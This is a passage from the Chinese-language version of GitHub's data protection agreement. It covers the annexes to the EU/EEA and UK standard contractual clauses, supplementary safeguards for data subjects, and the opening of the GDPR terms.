+角色(控制方/处理方):处理方,或根据客户协议中的规定聘用的子处理方。 + +### B. 传输说明 + +_个人数据被传输的数据主体的类别:_ + +数据主体包括数据输出者的代表和最终用户,包括数据输出者的员工、承包商、合作者和客户。 数据主体还可能包括尝试与数据输出者提供的服务的用户进行通信或向其传输个人数据的个人。 GitHub 确认,根据客户对在线服务或专业服务的使用情况,客户可以选择在个人数据中包含以下任何数据主体类型的个人数据: +- 数据输出者的(当前、以前或未来的)员工、承包商和临时员工; +- 数据输出者的合作方/联系人(自然人)或者法律实体合作方/联系人的员工、承包商或临时员工(当前、以前或准员工); +- 作为数据输出者服务的用户和其他数据主体; +- 与数据输出者的员工进行积极协作、交流或以其他方式互动,和/或使用数据输出者提供的应用程序和网站等通信工具的合作伙伴、利益相关方或个人。 + +_所传输的个人数据的类别:_ + +传输的包含在电子邮件或文档中的个人数据,以及在线服务或专业服务环境中的其他电子数据。 GitHub 确认,根据客户对在线服务或专业服务的使用情况,客户可以选择在个人数据中包含以下任何类别的个人数据: +- 基本个人数据(例如出生地点、街道名称和门牌号(地址)、邮政编码、居住城市、居住国家/地区、手机号码、名字、姓氏、姓名的首字母、电子邮件地址、性别、出生日期); +- 身份验证数据(例如用户名、密码或 PIN 码、安全性问题、审计线索); +- 联系人信息(例如地址、电子邮件、电话号码、社交媒体标识符;紧急联系人详细信息); +- 唯一的标识号和签名(例如 IP 地址、员工编号、学生编号); +- 假名标识符; +- 照片、视频和音频; +- Internet 活动(例如浏览历史记录、搜索历史记录、阅读和查看活动); +- 设备标识(例如 IMEI 号码、SIM 卡号、MAC 地址); +- 概况分析(例如基于观察到的犯罪或反社会行为,或基于访问过的 URL、点击流、浏览日志、IP 地址、域、安装的应用程序的匿名配置文件,或基于营销偏好的配置文件); +- 数据主体自愿提供的特殊数据类别(例如种族或民族、政见、宗教或哲学信仰、工会成员资格、遗传数据、用于唯一识别自然人的生物数据、有关健康的数据、有关自然人的性生活或性取向的数据,或与刑事定罪或犯罪有关的数据);或者 +- GDPR 第 4 条规定的任何其他个人数据。 + +_传输的 **敏感数据**(如果适用)和充分考虑到数据的性质和所涉及的风险而应用的限制或保护措施,例如严格的目的限制、访问限制(包括仅允许接受过专业培训的员工访问)、保留对数据的访问记录、对进一步传输的限制或额外的安全措施:_
+GitHub 不会请求或要求敏感数据,并且仅在客户或数据主体决定提供此类数据时才会接收这些数据。 + +_**传输频率**(例如,数据是一次性传输还是连续传输):_ + +作为在线服务或专业服务的一部分持续存在。 + +_**处理的性质:**_ + +传输的个人数据将受以下基本处理活动的约束: +
    +
  1. 数据处理的持续时间和目的。 数据处理的持续时间须为数据输出者和数据输入者之间适用的 GitHub 客户协议中指定的期限。 数据处理的目的是提供在线服务和专业服务。
  2. +
  3. 个人数据访问。 对于适用的 GitHub 客户协议指定的期限,数据输入者将根据其选择并根据适用法律的必要条件:(1) 向数据输出者提供更正、删除或阻止个人数据的能力,或 (2) 代表其进行此类更正、删除或阻止。
  4. +
  5. 数据输出者的指示。 对于在线服务和专业服务,数据输入者将严格按照数据输出者的指示执行操作。
  6. +
+ +_数据传输和进一步处理的目的:_ + +DPA 的“个人数据的处理;GDPR”一节中介绍了处理个人数据的范围和目的。 数据输入者在全球范围内运营数据中心和管理/支持设施网络,则可依照 DPA 的“安全实践和策略”一节,在数据传输者或其子处理方运营此类设施的任何法律管辖范围内进行数据处理。 + +_个人数据的保留期限,如果无法获得该期限,则为用于确定该期限的标准:_ + +数据输出者使用在线服务或专业服务的权利期满或终止后,它可能会提取个人数据,并且数据输入者将根据适用于本协议的 DPA 条款删除个人数据。 + +_对于向(子)处理方的传输,还需指定处理的主题、性质和持续时间:_ + +依照 DPA,数据输入者可以聘请其他公司代表其提供有限服务,例如提供客户支持。 仅允许所有此类分包商为了交付数据输入者委托提供的服务而获取个人数据,而不得将个人数据用于任何其他目的。 除非提前更换特定的分包商,否则处理将按照数据输出者和数据输入者之间适用的 GitHub 客户协议指定的期限进行。 + +### C. 主管监管机构 + +_根据第 13 条确定主管监管机构:_ + +负责确保数据输出者遵守法规 (EU) 2016/679 的监管机构。 +  +## 附录 II + +**标准合同条款 (EU/EEA)** + +**技术和组织措施,包括确保数据安全的技术和组织措施** + +_数据输入者为确保适当级别的安全性,同时考虑到处理的性质、范围、背景和目的,以及对自然人的权利和自由造成的风险,而实施的技术和组织措施的描述(包括任何相关认证)。_ + +
    +
  1. 数据安全认证。 数据输入者持有以下数据安全认证:
  2. +
      +
    • SOC 1,类型 2;
    • +
    • SOC 2,类型 2;
    • +
    • NIST,在纳入 FedRAMP 低影响/定制 ATO 的范围内。
    • +
    +
  3. 人员。 未经授权,数据输入者的工作人员不得处理个人数据。 工作人员有义务对任何此类个人数据保密,即使在其离职之后,此义务也将继续存在。
  4. +
  5. 数据隐私联系人。 可以通过以下地址联系数据输入者的数据隐私专员:

    + GitHub, Inc.
    + 联系人:Privacy
    + 88 Colin P. Kelly Jr. Street
    + San Francisco, California 94107 USA

  6. +
  7. 技术和组织措施。 数据输入者已经实施并将维持适当的技术和组织措施、内部控制和信息安全例程,以保护个人数据(如 DPA 的安全做法和策略部分中所定义),防止意外丢失、销毁或更改;未经授权的披露或访问;或者非法销毁,如下所述:DPA 数据安全部分规定的技术和组织措施,内部控制和信息安全程序在此通过此引用并入附件 1 的本附录 II,并且对数据输入者具有约束力,如同它们在附件 1 的本附录 2 中全部列出一样。
  8. +
+ +_对于向(子)处理方的传输,还描述了(子)处理方为能够向控制方提供帮助而采取的特定技术和组织措施,对于从处理方到子处理方的传输,则向数据输出者提供:_ + +**供应商管理计划 - 第三方风险计划** + +数据输入者具有供应商风险评估流程、供应商合同条款以及与供应商签订的其他数据保护协议。 当请求新的用例时,将对供应商进行重新评估。 数据输入者的供应商风险计划是结构化的,因此所有数据输入者的供应商风险评估都在自上次审查日期起两年后更新。 + +被视为高风险的供应商,例如数据中心提供商或根据数据输入者的监管或合同要求存储或处理范围内数据的其他供应商,每年都会进行重新评估。 + +## 附录 III + +**标准合同条款 (EU/EEA)** + +**额外保护措施附录** + +GitHub, Inc.(简称“GitHub”)通过本标准合同条款 (EU/EEA) 的额外保护措施附录(简称本“附录”)为客户提供额外保护措施,并为与客户个人数据相关的数据主体提供额外补救措施。 + +本附录是对标准合同条款 (EU/EEA) 的补充,但不构成对标准合同条款的更改或修改。 + +
    +
  1. 质疑命令。 除了标准合同条款 (EU/EEA) 第 15.1 条之外,如果 GitHub 收到任何第三方的命令,要求强制披露根据标准合同条款 (EU/EEA) 传输的任何个人数据,GitHub 须:
  2. +
      +
    1. 尽一切合理的努力安排第三方直接从客户处请求数据;
    2. +
    3. 立即通知客户,除非提出要求的第三方所适用的法律禁止,如果禁止通知客户,则应尽一切合法努力获得免除该禁令的权利,以便尽快向客户传达更多信息;
    4. +
    5. 基于请求方法律方面的缺陷或与欧盟法律或适用成员国法律的任何相关冲突,尽一切合法努力对披露命令提出异议。
    6. +

    +本节所说的合法努力不包括根据相关管辖权地的法律会导致民事或刑事处罚的行为,例如蔑视法庭。 +
  3. 数据主体的赔偿。 根据第 3 节和第 4 节的规定,对于 GitHub 因应非欧盟/欧洲经济区政府机构或执法机构的命令披露标准合同条款 (EU/EEA) 规定的个人数据(简称“相关披露”)而对数据主体造成的任何实质性或非实质性损害,GitHub 须对数据主体进行赔偿。 尽管有上述规定,但如果数据主体已经从 GitHub 或其他方面就同一损害获得了赔偿,那么 GitHub 将无义务对数据主体作出本节(第 2 节)中规定的赔偿。
  4. +
  5. 赔偿条件。 第 2 节规定的赔偿的条件是数据主体确定 GitHub 作出了以下行为并获得了 GitHub 的确认:
  6. +
      +
    1. GitHub 进行了相关披露;
    2. +
    3. 非欧盟/欧洲经济区政府机构或执法机构基于相关披露对数据主体提起正式诉讼;
    4. +
    5. 相关披露直接导致数据主体遭受实质性或非实质性损害。
    6. +

    +数据主体承担条件 a. 至 c. 的 举证责任。
    +尽管有上述规定,但如果 GitHub 确认相关披露未违反 GDPR 第 V 章规定的义务,则 GitHub 没有义务按照第 2 节中的规定赔偿数据主体。
    +
  7. 损害范围。 第 2 节规定的赔偿仅限于 GDPR 中规定的实质性和非实质性损害,并且不包括后果性损害赔偿以及并非由于 GitHub 违反 GDPR 造成的所有其他损害。
  8. +
  9. 权利的行使。 不论标准合同条款 (EU/EEA) 第 3 条或第 12 条有任何限制,数据主体都可以对 GitHub 行使本附录授予数据主体的权利。 数据主体只能以个人名义提出本附录中的索赔,索赔不得包含在集体、团体或代表诉讼中。 本附录授予数据主体的权利是数据主体的个人权利,不得转让。
  10. +
  11. 变更通知。 除了标准合同条款 (EU/EEA) 的第 14 条之外,GitHub 同意并保证,没有理由相信适用于其或其子处理方的法律(包括在任何通过其自身或通过子处理方将个人数据传输到的国家/地区)会阻止其履行从数据输出者收到的指令及其在本附录或标准合同条款 (EU/EEA) 下的义务,如果本法规的变更有可能对本附录或标准合同条款 (EU/EEA) 所提供的担保和义务产生重大不利影响,GitHub 将在知悉后立即将变更通知客户,在这种情况下,客户有权暂停数据传输和/或终止合同。
  12. +
  13. 终止。 如果欧洲委员会、主管成员国的监督机构或者欧盟或主管成员国的法庭批准了适用于标准合同条款 (EU/EEA) 所涵盖数据传输的其他合法传输机制(如果这些机制仅适用于某些数据传输,则本附录将仅针对那些传输终止),并且不需要本附录中规定的额外保护措施,本附录将自动终止。
  14. +
+ +

附件 2 - 标准合同条款 (UK)

+ +客户签署 GitHub 客户协议包括签署本附件 2,再由 GitHub, Inc 连署该协议。 + +根据欧盟委员会 2010/87/EU(2010 年 2 月)的规定,在使用标准合同条款需要监管机构批准的国家/地区,标准合同条款无法用于从该国家/地区合法出口数据,除非客户获得了监管机构的批准。 + +自 2018 年 5 月 25 日起,在下面的标准合同条款中引用指令 95/46/EC 中的各条款将被视为是引用 GDPR 中的相关和适当条款。 + +依据有关将个人数据传输至位于第三方国家/地区(并不确保充分的数据保护)的处理方事宜的 95/46/EC 指令第 26(2) 条,客户(作为数据输出者)和 GitHub, Inc.(作为数据输入者,其签名见下文)(以下均简称“方”,合称为“双方”)均同意以下合同条款(以下简称“条款”或“标准合同条款”),以便针对数据输出者将本附录 1 中指定的个人数据传输给数据输入者的事宜,给予隐私保护以及个人的基本权利和自由方面的充分保护。 + +### 条款 1:定义 + +
    +
  1. “个人数据”、“特殊类别的数据”、“处理”、“控制方”、“处理方”、“数据主体”和“监督机构”沿用欧洲议会和欧盟理事会 1995 年 10 月 24 日关于涉及个人数据处理的个人保护以及此类数据自由流动的 95/46/EC 指令中的定义;
  2. +
  3. “数据输出者”指传输个人数据的控制方;
  4. +
  5. “数据输入者”指同意从数据输出者处接收供在传输完成后按照数据输出者的指示以及“条款”中的条款代表数据输出者进行的处理活动使用的个人数据,且不受指令 95/46/EC 第 25(1) 条规定的旨在确保提供充分的保护措施的第三方国家/地区的制度约束的处理方;
  6. +
  7. “子处理方”指数据输入者或数据输入者的任何其他子处理方聘用的,同意从数据输入者或数据输入者的任何其他子处理方处接收专供在传输完成后依照数据输出者的指示、“条款”中的条款和书面子合同中的条款,代表数据输出者进行的数据处理活动使用的数据的处理方。
  8. +
  9. “适用的数据保护法”指保护个人的基本权利和自由(特别是其关于处理个人数据的隐私权)的法律,适用于数据输出者所在成员国的数据控制方;
  10. +
  11. “技术和组织安全措施”指旨在保护个人数据免受意外或非法破坏,或者免遭意外丢失、更改、未经授权的披露或访问(特别是在数据处理涉及通过网络进行的数据传输时),并使个人数据免受所有其他非法的数据处理活动侵害的措施。
  12. +
+ +### 条款 2:传输详细信息 + +有关转让的详细信息,特别是特殊类别的个人数据(如果适用),将在下面构成条款的组成部分的附录 1 中指定。 + +### 条款 3:第三方受益人条款 + +
    +
  1. 数据主体可以作为第三方受益人,对数据输出者实施本条款、条款 4(b) 至 (i)、条款 5(a) 至 (e),以及 (g) 至 (j)、条款 6(1) 和 (2)、条款 7、条款 8(2) 和条款 9 至 12。
  2. +
  3. 如果数据输出者事实上已消失或者在法律上已不复存在,数据主体可以对数据输入者实施本条款、条款 5(a) 至 (e) 和 (g)、条款 6、条款 7、条款 8(2) 和条款 9 至 12,除非任何后续实体已根据协议或依照现行法律承担数据输出者的全部法定义务,从而享有数据输出者的权利并承担其义务,在此情况下,数据主体可以对此类实体实施这些条款。
  4. +
  5. 如果数据输出者和数据输入者事实上已消失、在法律上已不复存在或者已经破产,数据主体可以对子处理方实施本条款、条款 5(a) 至 (e) 和 (g)、条款 6、条款 7、条款 8(2) 和条款 9 至 12,除非任何后续实体已根据协议或依照现行法律承担数据输出者的全部法定义务,从而享有数据输出者的权利并承担其义务,在此情况下,数据主体可以对此类实体实施这些条款。 子处理方的此类第三方责任须限于其根据条款的自有的处理操作。
  6. +
  7. 如果数据主体明确表明此类意愿且国家/地区法律允许,双方不反对数据主体由关联公司或其他机构进行代表。
  8. +
+ +### 条款 4:数据输出者的义务 + +数据输出者同意并保证: + +
    +
  1. 处理活动(包括传输本身)已经并将继续依照适用的数据保护法的相关规定进行(并且在适用时,已将处理活动告知数据输出者的成立地点所属的成员国中的有关机关),并且不违反该成员国的相关规定。
  2. +
  3. 其已告知并将在整个个人数据处理服务持续期间内告知数据输入者,仅可代表数据输出者且依照适用的数据保护法和“条款”来处理传输的个人数据;
  4. +
  5. 数据输入者将提供关于下面的附录 2 中指定的技术和组织安全措施的充分保证;
  6. +
  7. 已在评估适用的数据保护法后确认,安全措施足以保护个人数据免受意外或非法破坏,或者免遭意外丢失、更改、未经授权的披露或访问(特别是在数据处理涉及通过网络进行的数据传输时),以及保护个人数据免受所有其他非法形式的数据处理行为侵害,并且这些措施可以确保在当前技术水平以及实施这些措施的成本允许的范围内,提供应对数据处理活动及数据的性质所带来的风险所需的安全级别;
  8. +
  9. 其将确保遵循安全措施;
  10. +
  11. 如果传输涉及特殊类别的数据,数据主体已被通知,或者在传输之前(或之后尽快)被通知,其数据可能会被传输至未按照 95/46/EC 指令之规定提供充分保护的第三方国家/地区;
  12. +
  13. 在数据输出者决定继续传输或取消暂停时,将依照条款 5(b) 和条款 8(3)之规定从数据输入者或任何子处理方处接收到的通知转发给数据保护监管机关;
  14. +
  15. 在收到请求后,向数据主体提供条款的副本(附录 2 除外)、安全措施概述,以及须依照条款签订的任何子处理服务合同的副本,但条款或合同中包含商业信息的除外,在此情况下,其可以删除此类商业信息;
  16. +
  17. 在进行子处理时,处理活动会由子处理方根据条款 11 执行,且该子处理方至少会提供与条款要求数据输入者提供的个人数据保护级别和数据主体权利相同的个人数据保护级别和数据主体权利。
  18. +
  19. 其将确保遵守条款 4(a) 至 (i)。
  20. +
+ +### 条款 5:数据输入者的义务 + +数据输入者同意并保证: + +
    +
  1. 仅代表数据输出者且按照其指示和条款之要求处理个人数据;如果出于任何原因,其无法遵守此类指示和条款,其同意立即通知数据输出者,此时数据输出者有权暂停数据传输并且/或者终止合同;
  2. +
  3. 其没有任何理由相信,对其适用的法律会妨碍其遵守从数据输出者处获得的指示或履行合同规定的义务,并且当该法律发生可能会对“条款”中规定的保证和义务产生重大不利影响的变更时,在其知晓此类变更后,其会立即将这一变更告知数据输出者,此时数据输出者有权暂停数据传输并且/或者终止合同;
  4. +
  5. 在处理传输的个人数据之前,其已实施附录 2 中指定的技术和组织安全措施;
  6. +
  7. 其将及时向数据输出者通知以下事项:
  8. +
      +
    1. 任何由执法机关提出的要求披露个人数据且具有法律约束力的请求,但另有规定禁止这种通知行为的除外,例如依据刑法保持执法调查的机密性的要求而禁止披露的情况,
    2. +
    3. 任何意外或未经授权的访问,以及
    4. +
    5. 任何直接从数据主体处接收且未予回应的请求,但其已被授权这样做的除外;
    6. +
    + 迅速妥善处理数据输出者就其处理所转移个人数据而提出的所有询问,并遵守监管机构关于处理所传输数据的建议; + 应数据输出者的要求,提交其数据处理设施,以供审核本条款所涵盖的处理活动,此类审核须由数据输出者或由独立成员组成并拥有受保密义务约束的所需专业资格的检查机构进行,在适用的情况下,经监管机构同意,由数据输出者选择; +
  9. 在接到请求后,向数据主体提供“条款”或任何现有子处理合同的副本,但“条款”或合同包含商业信息的除外,在此情况下,其可以删除此类商业信息(附录 2 是一个例外,当数据主体无法从数据输出者处获得其副本时,须使用安全措施概述替换附录 2);
  10. +
  11. 在进行子处理时,其已提前通知数据输出者,并已获得数据输出者的事先书面同意;
  12. +
  13. 子处理方提供的处理服务将依照条款 11 执行;以及
  14. +
  15. 及时向数据输出者发送根据条款达成的任何子处理方协议的副本。
  16. +
+ +### 条款 6:责任 + +
    +
  1. 双方同意因任何一方或子处理方违反条款 3 或条款 11 中所提及的义务而遭受损失的任何数据主体均有权针对所遭受的损失从数据输出者那里得到相应补偿。
  2. + +
  3. 如果由于数据输出者事实上已消失、在法律上已不复存在或者已经破产,数据主体无法根据第 1 段的内容对数据输出者提出索赔(由数据输入者或其子处理方违反任何条款 3 或条款 11 中所提及的义务而产生),数据输入者同意数据主体可以对数据输入者提出索赔,如同其就是数据输出者,除非任何后续实体已根据协议或依照现行法律承担数据输出者的全部法定义务,在此情况下,数据主体可针对此类实体行使其权利。

    + 数据输入者不得依赖于子处理方违反其义务的行为,来逃避其自身的责任。
  4. + +
  5. 如果由于数据输出者和数据输入者事实上已消失、在法律上已不复存在或者已经破产,数据主体无法对第 1 段和第 2 段中所提及的数据输出者或数据输入者提出索赔(由数据输入者或其子处理方违反任何条款 3 或条款 11 中所提及的义务而产生),子处理方同意数据主体可以根据条款对数据子处理方就其自有的处理操作提出索赔,如同其就是数据输出者或数据输入者,除非任何后续实体已根据协议或依照现行法律承担数据输出者的全部法定义务,在此情况下,数据主体可针对此类实体行使其权利。 子处理方的责任须限于其根据条款的自有的处理操作。
  6. +
+ +### 条款 7:仲裁和管辖权 + +
    +
  1. 数据输入者同意,如果数据主体根据条款对其提出第三方受益者权利和/或损失索赔,数据输入者将接受数据主体的决定: +
      +
    1. 将争议提交独立人士或监督机构(如果适用)进行调解; +
    2. 将争议提交到数据输出者所在成员国的法院。 +
    +
  2. 双方同意数据主体作出的选择不会影响其依照其他国家/地区或国际法规定寻求补救措施的实质性和程序性权利。 +
+ +### 条款 8:与监督机构协作 + +
    +
  1. 数据输出者同意备案与监督机构签署的协议的副本(如果其要求备案,或者适用的数据保护法要求备案)。
  2. + +
  3. 双方同意,监督机构有权对数据输入者和任何子处理方进行审查,审查范围和所依据的条件与根据适用的数据保护法审查数据输出者相同。
  4. + +
  5. 如果任何适用于数据输入者和子处理方的法律妨碍了第 2 段中所述的对数据输入者或任何子处理方进行的审查,则数据输入者应该立即将这一情况通知数据输出者。 在此情况下,数据输出者须有权采取条款 5(b) 中预见的措施。
  6. +
+ +### 条款 9:管辖法律。 + +这些条款须受数据输出者所在成员国的法律的约束。 + +### 条款 10:合同的变动 + +双方保证不改变或修改条款。 但这并不排除双方还会在需要时就业务相关的问题添加条款(只要不与条款相矛盾)。 + +### 条款 11:子处理 + +
    +
  1. 在未事先获得数据输出者的书面同意时,数据输入者不须分包根据条款代表数据输出者执行的处理操作。 当数据输入者征得数据输出者的同意并根据条款分包其义务时,其只须通过与子处理方签署书面协议的方式进行分包,该协议将向子处理方施加与根据条款向数据输入者施加的义务相同的义务。 当子处理方无法根据此类书面协议履行其数据保护义务时,数据输入者须对数据输出者根据此类协议履行子处理方的义务完全负责。
  2. + +
  3. 数据输入者和子处理方事先签署的书面协议还须提供条款 3 中规定的第三方受益人条款,该条款适用于由于数据输出者或数据输入者事实上已消失或者在法律上已不复存在,或者已经破产且无后续实体根据协议或依照现行法律承担数据输出者或数据输入者的全部法定义务,数据主体无法对他们提出条款 6 第 1 段中所提及索赔的情况。 子处理方的此类第三方责任须限于其根据条款的自有的处理操作。
  4. + +
  5. 第 1 段所提及的与合同中的子处理数据保护方面有关的规定须受数据输出者所在成员国的法律的约束。
  6. + +
  7. 数据输出者须保留根据条款签署、由数据输入者依照条款 5 (j) 通知的子处理协议的列表(须至少每年更新一次)。 该列表须提供给数据输出者的数据保护监督机构。
  8. +
+ +### 条款 12:个人数据处理服务终止之后的义务 + +
    +
  1. 双方同意,在数据处理服务的规定终止之后,数据输入者和子处理方须根据数据输出者的选择,向数据输出者退回所有传输的个人数据和副本,或者须销毁所有个人数据并向数据输出者证明数据已销毁,除非法律禁止数据输入者退回或销毁传输的全部或部分个人数据。 在此情况下,数据输入者应保证它能保证传输的个人数据的保密性,而且将不再主动处理传输的个人数据。
  2. + +
  3. 数据输入者和子处理方保证,其将按照数据输出者和/或监督机构的请求,提交其数据处理设备以进行第 1 段中所提及的措施的审查。
  4. +
+ +### 标准合同条款 (UK) 的附录 1 + +**数据输出者**:客户是数据输出者。 数据输出者是 DPA 和 GitHub 客户协议中定义的在线服务或专业服务用户。 + +**数据输入者**:数据输入者是 GitHub, Inc.(全球软件和服务的生产商)。 + +**数据主体**:数据主体包括数据输出者的代表和最终用户,包括数据输出者的员工、承包商、合作者和客户。 数据主体还可能包括尝试与数据输出者提供的服务的用户进行通信或向其传输个人数据的个人。 GitHub 确认,根据客户对在线服务或专业服务的使用情况,客户可以选择在个人数据中包含以下任何数据主体类型的个人数据: +- 数据输出者的(当前、以前或未来的)员工、承包商和临时员工; +- 数据输出者的合作方/联系人(自然人)或者法律实体合作方/联系人的员工、承包商或临时员工(当前、以前或准员工); +- 作为数据输出者服务的用户和其他数据主体; +- 与数据输出者的员工进行积极协作、交流或以其他方式互动,和/或使用数据输出者提供的应用程序和网站等通信工具的合作伙伴、利益相关方或个人。 + +**数据类别**:传输的包含在电子邮件或文档中的个人数据,以及在线服务或专业服务环境中的其他电子数据。 GitHub 确认,根据客户对在线服务或专业服务的使用情况,客户可以选择在个人数据中包含以下任何类别的个人数据: +- 基本个人数据(例如出生地点、街道名称和门牌号(地址)、邮政编码、居住城市、居住国家/地区、手机号码、名字、姓氏、姓名的首字母、电子邮件地址、性别、出生日期); +- 身份验证数据(例如用户名、密码或 PIN 码、安全性问题、审计线索); +- 联系人信息(例如地址、电子邮件、电话号码、社交媒体标识符;紧急联系人详细信息); +- 唯一的标识号和签名(例如 IP 地址、员工编号、学生编号); +- 假名标识符; +- 照片、视频和音频; +- Internet 活动(例如浏览历史记录、搜索历史记录、阅读和查看活动); +- 设备标识(例如 IMEI 号码、SIM 卡号、MAC 地址); +- 概况分析(例如基于观察到的犯罪或反社会行为,或基于访问过的 URL、点击流、浏览日志、IP 地址、域、安装的应用程序的匿名配置文件,或基于营销偏好的配置文件); +- 数据主体自愿提供的特殊数据类别(例如种族或民族、政见、宗教或哲学信仰、工会成员资格、遗传数据、用于唯一识别自然人的生物数据、有关健康的数据、有关自然人的性生活或性取向的数据,或与刑事定罪或犯罪有关的数据);或者 +- GDPR 第 4 条规定的任何其他个人数据。 + +**处理操作**:传输的个人数据将受以下基本处理活动的约束: + +
    +
  1. 数据处理的持续期间和对象。 数据处理的持续时间须为数据输出者和数据输入者之间适用的 GitHub 客户协议中指定的期限。 数据处理的目的是提供在线服务和专业服务。
  2. +
  3. 数据处理的范围和目的。 DPA 的“个人数据的处理;GDPR”一节中介绍了处理个人数据的范围和目的。 数据输入者在全球范围内运营数据中心和管理/支持设施网络,则可依照 DPA 的“安全实践和策略”一节,在数据传输者或其子处理方运营此类设施的任何法律管辖范围内进行数据处理。
  4. +
  5. 个人数据访问。 对于适用的 GitHub 客户协议指定的期限,数据输入者将根据其选择并根据适用法律的必要条件:(1) 向数据输出者提供更正、删除或阻止个人数据的能力,或 (2) 代表其进行此类更正、删除或阻止。
  6. +
  7. 数据输出者的指示。 对于在线服务和专业服务,数据输入者将仅遵照数据输出者的指示(如 GitHub 所转达)行事。
  8. +
  9. 个人数据的删除或返还。 数据输出者使用在线服务或专业服务的权利期满或终止后,它可能会提取个人数据,并且数据输入者将根据适用于本协议的 DPA 条款删除个人数据。
  10. +
+ +**分包商**:依照 DPA,数据输入者可以聘请其他公司代表其提供有限服务,例如提供客户支持。 仅允许所有此类分包商为了交付数据输入者委托提供的服务而获取个人数据,而不得将个人数据用于任何其他目的。 + +### 标准合同条款 (UK) 的附录 2 + +数据输入者依照条款 4(d) 和 5(c) 实施的技术和组织安全措施说明: + +
    +
  1. 人员。 未经授权,数据输入者的工作人员不得处理个人数据。 工作人员有义务对任何此类个人数据保密,即使在其离职之后,此义务也将继续存在。
  2. + +
  3. 数据隐私联系人。 可以通过以下地址联系数据输入者的数据隐私专员:
    +GitHub, Inc.
    +联系人:Privacy
    +88 Colin P. Kelly Jr. Street
    +San Francisco, California 94107 USA
  4. + +
  5. 技术和组织措施。 数据输入者已经实施并将维持适当的技术和组织措施、内部控制和信息安全例程,以保护个人数据(如 DPA 的安全做法和策略部分中所定义),防止意外丢失、销毁或更改;未经授权的披露或访问;或者非法销毁,如下所述:DPA 的安全做法和策略部分中规定的技术和组织措施、内部控制和信息安全例程在此通过提及方式纳入本附录 2,并且对数据输入者有约束力,如同它们全部在本附录 2 中规定一样。
  6. +
+ +### 标准合同条款 (UK) 的附录 3 + +**额外保护措施附录** + +GitHub, Inc.(简称“GitHub”)通过本标准合同条款 (UK) 的额外保护措施附录(简称本“附录”)为客户提供额外保护措施,并为与客户个人数据相关的数据主体提供额外补救措施。 + +本附录是对标准合同条款 (UK) 的补充,但不构成对标准合同条款的更改或修改。 + +
    +
  1. 质疑命令。 除了标准合同条款 (UK) 第 5(d)(i) 条之外,如果 GitHub 收到任何第三方的命令,要求强制披露根据标准合同条款 (UK) 传输的任何个人数据,GitHub 须:
  2. +
      +
    1. 尽一切合理的努力安排第三方直接从客户处请求数据;
    2. +
    3. 立即通知客户,除非提出要求的第三方所适用的法律禁止,如果禁止通知客户,则应尽一切合法努力获得免除该禁令的权利,以便尽快向客户传达更多信息;
    4. +
    5. 基于请求方法律方面的缺陷或与欧盟法律或适用成员国法律的任何相关冲突,尽一切合法努力对披露命令提出异议。
    6. +

    +本节所说的合法努力不包括根据相关管辖权地的法律会导致民事或刑事处罚的行为,例如蔑视法庭。 +
  3. 数据主体的赔偿。 根据第 3 节和第 4 节的规定,对于 GitHub 因应非欧盟/欧洲经济区政府机构或执法机构的命令披露标准合同条款 (UK) 规定的个人数据(简称“相关披露”)而对数据主体造成的任何实质性或非实质性损害,GitHub 须对数据主体进行赔偿。 尽管有上述规定,但如果数据主体已经从 GitHub 或其他方面就同一损害获得了赔偿,那么 GitHub 将无义务对数据主体作出本节(第 2 节)中规定的赔偿。
  4. +
  5. 赔偿条件。 第 2 节规定的赔偿的条件是数据主体确定 GitHub 作出了以下行为并获得了 GitHub 的确认:
  6. +
      +
    1. GitHub 进行了相关披露;
    2. +
    3. 非欧盟/欧洲经济区政府机构或执法机构基于相关披露对数据主体提起正式诉讼;
    4. +
    5. 相关披露直接导致数据主体遭受实质性或非实质性损害。
    6. +

    +数据主体承担条件 a. 至 c. 的 举证责任。
    +尽管有上述规定,但如果 GitHub 确认相关披露未违反 GDPR 第 V 章规定的义务,则 GitHub 没有义务按照第 2 节中的规定赔偿数据主体。 +
  7. 损害范围。 第 2 节规定的赔偿仅限于 GDPR 中规定的实质性和非实质性损害,并且不包括后果性损害赔偿以及并非由于 GitHub 违反 GDPR 造成的所有其他损害。
  8. +
  9. 权利的行使。 不论标准合同条款 (UK) 第 3 条或第 6 条有任何限制,数据主体都可以对 GitHub 行使本附录授予数据主体的权利。 数据主体只能以个人名义提出本附录中的索赔,索赔不得包含在集体、团体或代表诉讼中。 本附录授予数据主体的权利是数据主体的个人权利,不得转让。
  10. +
  11. 变更通知。 除了标准合同条款 (UK) 的第 5(b) 条之外,GitHub 同意并保证,没有理由相信适用于其或其子处理方的法律(包括在任何通过其自身或通过子处理方将个人数据传输到的国家/地区)会阻止其履行从数据输出者收到的指令及其在本附录或标准合同条款 (UK) 下的义务,如果本法规的变更有可能对本附录或标准合同条款 (UK) 所提供的担保和义务产生重大不利影响,GitHub 将在知悉后立即将变更通知客户,在这种情况下,客户有权暂停数据传输和/或终止合同。 +
  12. 终止。 如果欧洲委员会、主管成员国的监督机构或者欧盟或主管成员国的法庭批准了适用于标准合同条款(UK) 所涵盖数据传输的其他合法传输机制(如果这些机制仅适用于某些数据传输,则本附录将仅针对那些传输终止),并且不需要本附录中规定的额外保护措施,本附录将自动终止。

    +签署标准合同条款 (UK) 的附录 1、附录 2 和 +
+ +

附件 3 – 欧盟《一般数据保护条例》条款

+ +GitHub 在 GDPR 相关条款中向所有客户所作出的承诺将于 2018 年 5 月 25 日生效。 无论 (1) 以其他方式适用于任何给定的在线服务订购的 GitHub 客户协议和 DPA 版本如何,或是否存在 (2) 引用本附件的任何其他协议,这些对客户的承诺都对 GitHub 具有约束力。 + +在本 GDPR 相关条款中,客户和 GitHub 同意,客户是客户个人数据的控制方,而 GitHub 是此类数据的处理方,但客户作为个人数据处理方的情况除外,此时 GitHub 是子处理方。 本 GDPR 相关条款适用于 GitHub 代表客户在 GDPR 的范围内处理个人数据。 本 GDPR 相关条款并不会限制或减少 GitHub 在与客户签署的 GitHub 客户协议或其他协议中向客户作出的数据保护承诺。 本 GDPR 相关条款不适用于 GitHub 作为个人数据控制方的情况。 + +**相关 GDPR 义务:第 28、32 和 33 条** + +
    +
  1. 在未事先获得客户的明确或一般书面授权的情况下,GitHub 不得雇用其他处理方。 如果获得的是一般书面授权,则 GitHub 须将有关增加或更换其他处理方的任何拟议变更通知客户,以便客户有机会就此类变更提出反对意见。 (第 28(2) 条)
  2. +
  3. 依照欧洲联盟(以下简称“欧盟”)法律或欧盟成员国法律的规定,GitHub 对个人数据的处理须受本 GDPR 相关条款的约束,这些条款对 GitHub 和客户均具有约束力。 客户的许可协议(包括本 GDPR 相关条款)规定了处理的内容和持续期间、处理的性质和目的、个人数据的类型、数据主体的类别以及客户的义务和权利。 特别是,GitHub 须满足以下要求:
  4. +
